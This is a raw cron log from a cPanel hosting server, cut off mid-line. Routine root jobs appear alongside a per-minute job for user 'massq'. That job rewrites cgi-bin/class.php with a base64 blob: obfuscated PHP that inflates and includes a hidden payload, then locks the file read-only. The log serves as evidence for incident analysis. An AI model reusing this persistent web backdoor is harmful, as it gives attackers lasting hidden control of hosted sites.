Sep 11 02:45:01 server CROND[16058]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:45:01 server CROND[16055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:45:01 server CROND[16056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:46:01 server CROND[16968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:46:01 server CROND[16970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:46:01 server CROND[16969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:47:01 server CROND[17350]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep 11 02:47:01 server CROND[17352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:47:01 server CROND[17353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:47:01 server CROND[17355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:47:01 server CROND[17354]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep 11 02:48:01 server CROND[18332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:48:01 server CROND[18330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:48:01 server CROND[18331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:48:52 server crontab[20184]: (root) LIST (root)
Sep 11 02:49:01 server CROND[20481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:49:01 server CROND[20482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:49:01 server CROND[20483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:49:18 server crontab[20723]: (root) LIST (root)
Sep 11 02:49:18 server crontab[20726]: (root) LIST (root)
Sep 11 02:49:23 server crontab[20843]: (root) LIST (root)
Sep 11 02:50:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 11 02:50:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep 11 02:50:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep 11 02:50:01 server CROND[21624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:50:01 server CROND[21626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:50:01 server CROND[21641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:50:01 server CROND[21644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:50:01 server CROND[21643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:50:01 server CROND[21642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:50:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:50:01 server CROND[21647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:50:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:51:01 server CROND[22633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:51:01 server CROND[22634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:51:01 server CROND[22635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:52:01 server CROND[23192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:52:01 server CROND[23193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:52:01 server CROND[23194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:53:01 server CROND[23560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:53:01 server CROND[23561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:53:01 server CROND[23562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:54:01 server CROND[23924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:54:01 server CROND[23925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:54:01 server CROND[23926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:55:01 server CROND[24391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:55:01 server CROND[24392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:55:01 server CROND[24395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:55:01 server CROND[24396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:55:01 server CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:55:01 server CROND[24401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:55:01 server CROND[24399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:56:01 server CROND[25222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:56:01 server CROND[25224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:56:01 server CROND[25223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:57:01 server CROND[25598]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:57:01 server CROND[25599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:57:01 server CROND[25600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0K